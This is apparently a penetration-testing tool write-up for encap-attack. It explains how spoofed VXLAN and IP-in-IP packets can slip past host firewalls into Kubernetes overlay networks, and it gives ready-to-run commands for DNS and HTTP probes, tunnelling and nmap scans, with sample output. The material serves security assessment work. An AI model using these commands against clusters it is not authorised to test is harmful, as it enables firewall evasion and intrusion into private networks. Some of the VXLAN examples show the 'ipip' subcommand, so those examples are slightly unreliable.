encap-attack
Identification and Exploitation of Network Encapsulation in Kubernetes
by Matthew Grove
Introduction
Given the ubiquity of Kubernetes, and the complexity it adds to the network stack through the use of overlay networking, firewall restrictions must be strictly controlled to prevent unauthorised access. This project aimed to generate a tool to detect and exploit vulnerabilities in these implementations.
Overlay networking is used to provide isolation from host machines; this approach involves embedding one network inside another. When this encapsulated network traffic is received by hosts, it is unpacked and offloaded to other processes - meaning we must deploy firewalls at both stages. During my 2024 internship at WithSecure Consulting, I produced encap-attack: a tool to break into these encapsulated networks by exploiting absent overlaps between host and overlay firewalls, especially in Kubernetes deployments. It is now available open-source on GitHub.
Background
This project is based on research initially conducted by Rory McCune, and later James Cleverley-Prance at ControlPlane, which he presented at KubeCon Europe 2022. In this talk James explained it is possible to use "asynchronous networking" to route traffic into a Kubernetes cluster via an overlay network, and out again using standard (unencapsulated) packets. This allows the crafting of packets to circumvent firewall restrictions on host machines (Kubernetes nodes).
Our goal was to take this approach one step further, automating the discovery and exploitation of this vulnerability: ultimately providing a tunnel with direct access into an encapsulated network or Kubernetes cluster.
What Does it Do?
encap-attack provides an easy way to encapsulate layer 2/3 network packets with VXLAN (layer 2) or IP-in-IP (layer 3) encapsulation. It provides four main functions:
- Sniffing network traffic to identify VXLAN/IP-in-IP packets and extract useful information, which we can use to simulate encapsulated packets.
- Querying a Kubernetes API server and identifying the service IP range and CoreDNS service IP using educated guessing.
- Sending individual encapsulated DNS and HTTP requests for controlled testing of networks.
- Provisioning a tunnel that encapsulates traffic to all defined routes and sends it on, allowing us to use other standard tooling as if we were inside the overlay network (e.g. nmap).
The tool is primarily intended for detecting gaps in firewalls during security assessments. To achieve ingress into overlay networks, it spoofs source IP addresses, making packets appear to come from permitted hosts and allowing us to bypass host-based firewall rules. Egress then uses standard unencapsulated packets: ultimately allowing access into and out of a network that should be locked down.
How Does it Work?
encap-attack uses two common network encapsulation protocols: IP-in-IP and VXLAN.
IP-in-IP encapsulates traffic at layer 3 (IP): it places one IP packet inside another. See below for a comparison of a standard HTTP packet and one using IP-in-IP, as observed in Wireshark.
Ethernet II, Src: 11:11:11:11:11:11, Dst: 22:22:22:22:22:22
Internet Protocol Version 4, Src: 192.168.124.1, Dst: 192.168.124.2
Transmission Control Protocol, Src Port: 25744, Dst Port: 80, Seq: 0, Len: 0
Ethernet II, Src: 11:11:11:11:11:11, Dst: 22:22:22:22:22:22
Internet Protocol Version 4, Src: 192.168.124.1, Dst: 192.168.124.2
Internet Protocol Version 4, Src: 10.100.98.100, Dst: 10.100.99.200
Transmission Control Protocol, Src Port: 25744, Dst Port: 80, Seq: 0, Len: 0
VXLAN (Virtual Extensible LAN) is more complex, as it operates on layer 2. It adds several additional packet headers: source/destination MAC addresses, source/destination IP addresses, a UDP VXLAN tunnel, and a VXLAN header. Below is, again, a comparison with an unencapsulated packet.
Ethernet II, Src: 11:11:11:11:11:11, Dst: 22:22:22:22:22:22
Internet Protocol Version 4, Src: 192.168.124.1, Dst: 192.168.124.2
Transmission Control Protocol, Src Port: 25744, Dst Port: 80, Seq: 0, Len: 0
Ethernet II, Src: 11:11:11:11:11:11, Dst: 22:22:22:22:22:22
Internet Protocol Version 4, Src: 192.168.124.1, Dst: 192.168.124.2
User Datagram Protocol, Src Port: 38588, Dst Port: 4789
Virtual eXtensible Local Area Network, VXLAN Network ID (VNI): 4096
Ethernet II, Src: aa:aa:aa:aa:aa:aa, Dst: bb:bb:bb:bb:bb:bb
Internet Protocol Version 4, Src: 10.100.98.100, Dst: 10.100.99.200
Transmission Control Protocol, Src Port: 25744, Dst Port: 80, Seq: 0, Len: 0
VXLAN requires additional information when compared to IP-in-IP:
- the VXLAN network ID (VNI) - an identifier unique to the encapsulated network in the scope of all hosts handling it, similar to a VLAN tag;
- the VXLAN tunnel endpoint (VTEP) - the MAC address of the virtual tunnel endpoint interface on the destination host (created by the VXLAN handler on the machine); and
- the VXLAN tunnel port.
The VNI is hardcoded into most CNIs (Container Network Interfaces) that use VXLAN - as either 1 or 4096 - so trying both of these usually yields a result. Similarly, while the tunnel port can be changed, it is mostly standard: 4789 (e.g., for Calico) or 8472 (e.g., for Flannel). The VTEP is more difficult to obtain. Because it is only present on virtual network interfaces within host machines, it is not freely available. Luckily, it is sometimes (depending on the CNI used) published via the Kubernetes API server. For example, when using Flannel, the flannel.alpha.coreos.com/backend-data annotation on Node resources provides the VTEP. This means that with permission to get Node resources from the kube-apiserver, we can obtain all the information we need to simulate encapsulated packets from outside the overlay network.
If the VTEP is not published via the API, it must be obtained directly from the host machine (e.g., via a shell).
Usage
Here are some basic usage examples of the tool. More options are available for each command and subcommand, documented by the --help options. For example, encap-attack vxlan --help or encap-attack vxlan tunnel --help.
All commands can be run in verbose mode using the -v flag after encap-attack. For example, encap-attack -v detect.
Sniffing encapsulated network traffic - detect
Network sniffing uses the detect subcommand.
The tool can listen for encapsulated traffic on the network, and extract information about the encapsulation being used. This will only return information if encapsulated traffic is detected, or if running in verbose mode. To sniff traffic, run:
# encap-attack detect
Obtain information about a Kubernetes cluster - kubeintel
Kubernetes intelligence functionality uses the kubeintel subcommand.
To extract a predicted service IP range and CoreDNS address, and optionally attempt to connect to it using IP-in-IP, two commands exist: kubeintel guess-cidr and kubeintel attempt-ipip.
To guess the service CIDR:
# encap-attack kubeintel guess-cidr <api_server_address>
To guess the service CIDR and attempt to connect to CoreDNS using IP-in-IP, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s flag:
# encap-attack kubeintel attempt-ipip -a <api_server_address> -s <another_host_ip>
Example:
# encap-attack kubeintel attempt-ipip -a 192.168.124.9 -s 192.168.124.11
The tool will also provide kubectl commands to extract pod/service IP ranges and VXLAN network information from a Kubernetes cluster, with encap-attack kubeintel get-ip-ranges and encap-attack kubeintel get-net-info, respectively. The kubectl commands provided will output the information needed to simulate encapsulated packets to the overlay network.
Attack an IP-in-IP network - ipip
IP-in-IP functionality uses the ipip subcommand.
You must ensure the intermediary destination node (-d flag) is that on which the target pods reside. If the pods run on a different node, you will receive no response.
To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s flag:
# encap-attack ipip -d <destination_host_ip> -s <another_host_ip> request -di <internal_destination_ip> dns -t <query_type> <domain_to_query>
Example:
# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Sending DNS packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Response:
kube-dns.kube-system.svc.cluster.local: 10.96.0.10
For an HTTP request:
encap-attack ipip -d <destination_host_ip> -s <another_host_ip> request -di <internal_destination_ip> http "<request>"
Example:
# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost: 10.100.99.5"
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Sending SYN: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending ACK PUSH: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending FIN ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA
Sending ACK: Ether / IP / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Response:
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 23 Aug 2024 10:35:13 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT
Connection: keep-alive
ETag: "66ba1a4d-267"
Accept-Ranges: bytes
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>
Alternatively, a tunnel can be configured to route all traffic destined for specific IP ranges into the encapsulated network. The -a flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per kubeintel guess-cidr above) - and this route will automatically be added to the tunnel. Additional routes can be added with the -r flag. Use Ctrl+C to shut down the tunnel.
encap-attack -d <destination_host_ip> -s <another_host_ip> tunnel -a <api_server_address> -r <route_cidr>
Example:
# encap-attack -d 192.168.124.10 -s 192.168.124.11 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16
Running in IP-in-IP mode
Interface IP: 192.168.124.200
Kubernetes API server certificate information:
Subject: kube-apiserver
Issuer: kubernetes
IPs: 10.96.0.1, 192.168.124.9
Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master
Guessed service CIDR: 10.96.0.0/12
kube-dns DNS server may be available at: 10.96.0.10:53
Cluster DNS suffix: cluster.local
Starting tunnel tun0, press Ctrl+C to stop...
Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Sending encapsulated packet: Ether / IP / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
All requests to the defined routes (in this example, 10.2.0.0/16, 10.3.0.0/16, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the use of other tooling (e.g., nmap) within the overlay network from an external perspective:
# nmap -sT 10.2.0.0/16
Attack a VXLAN network - vxlan
VXLAN functionality uses the vxlan subcommand.
The functionality for VXLAN networks is identical to that provided for IP-in-IP networks with the ipip command, but requires the additional information needed by the VXLAN protocol, as discussed above. Similar to IP-in-IP, you must ensure the correct destination host/node is used, or you will receive no response.
To send a single DNS request, run the following. We recommend spoofing the source IP as another host or Kubernetes node to bypass host firewall rules, using the -s flag:
# encap-attack vxlan -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> request -di <internal_destination_ip> dns -t <query_type> <domain_to_query>
Example:
# encap-attack ipip -d 192.168.124.9 -s 192.168.124.11 -mi aa:bb:cc:dd:ee:ff --vni 4096 -pd 4789 request -di 10.100.99.5 dns -t A kube-dns.kube-system.svc.cluster.local
Running in VXLAN mode
Interface IP: 192.168.124.200
Sending DNS packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Response:
kube-dns.kube-system.svc.cluster.local: 10.96.0.10
For an HTTP request:
# encap-attack ipip -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 -pd 4789 request -di 10.100.99.5 http "GET / HTTP/1.1\r\nHost:10.100.99.5"
Running in VXLAN mode
Interface IP: 192.168.124.200
Sending SYN: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http S
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending ACK PUSH: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http PA / Raw
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Sending FIN ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http FA
Sending ACK: Ether / IP / UDP / VXLAN / Ether / IP / TCP 192.168.124.200:28098 > 10.100.99.5:http A
Response:
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 23 Aug 2024 10:35:13 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Mon, 12 Aug 2024 14:21:01 GMT
Connection: keep-alive
ETag: "66ba1a4d-267"
Accept-Ranges: bytes
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body>
<h1>Welcome!</h1>
</body>
</html>
The vxlan subcommand also provides a tunnel option, similar to the ipip subcommand, with the same functionality. As a reminder, this routes all traffic destined for specific IP ranges into the encapsulated network. The -a flag is optionally used to specify a Kubernetes API server. If this value is set, the API server will be queried to guess the service IP range (as per kubeintel guess-cidr above) - and this route will automatically be added to the tunnel. Additional routes can be added with the -r flag. Use Ctrl+C to shut down the tunnel.
# encap-attack -d <destination_host_ip> -s <another_host_ip> -mi <vtep> --vni <vni> -pd <vxlan_tunnel_port> tunnel -a <api_server_address> -r <route_cidr>
Example:
# encap-attack -d 192.168.124.10 -s 192.168.124.11 -mi 99:aa:bb:cc:dd:ee --vni 4096 --pd 4789 tunnel -a 192.168.124.9 -r 10.2.0.0/16 -r 10.3.0.0/16
Running in VXLAN mode
Interface IP: 192.168.124.200
Kubernetes API server certificate information:
Subject: kube-apiserver
Issuer: kubernetes
IPs: 10.96.0.1, 192.168.124.9
Hostnames: kubernetes, kubernetes.default, kubernetes.default.svc, kubernetes.default.svc.cluster.local, master
Guessed service CIDR: 10.96.0.0/12
kube-dns DNS server may be available at: 10.96.0.10:53
Cluster DNS suffix: cluster.local
Starting tunnel tun0, press Ctrl+C to stop...
Encapsulating packet: IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
Sending encapsulated packet: Ether / IP / UDP / VXLAN / Ether / IP / UDP / DNS Qry "b'kube-dns.kube-system.svc.cluster.local.'"
All requests to the defined routes (in this example, 10.2.0.0/16, 10.3.0.0/16, and the service IP range guessed from information from the API server - 10.96.0.0/12) will then be encapsulated and routed into the overlay network. This permits the use of other tooling (e.g., nmap) within the overlay network from an external perspective:
# nmap -sT 10.2.0.0/16
Summary
In summary, this tool provides a simple solution for identifying and exploiting gaps in host and overlay firewalls - presenting particular value during Kubernetes security testing. Its modular structure allows easy extension to support additional encapsulation protocols, and it currently covers the two most popular: IP-in-IP and VXLAN. It is open-source on GitHub, and community contributions are welcomed.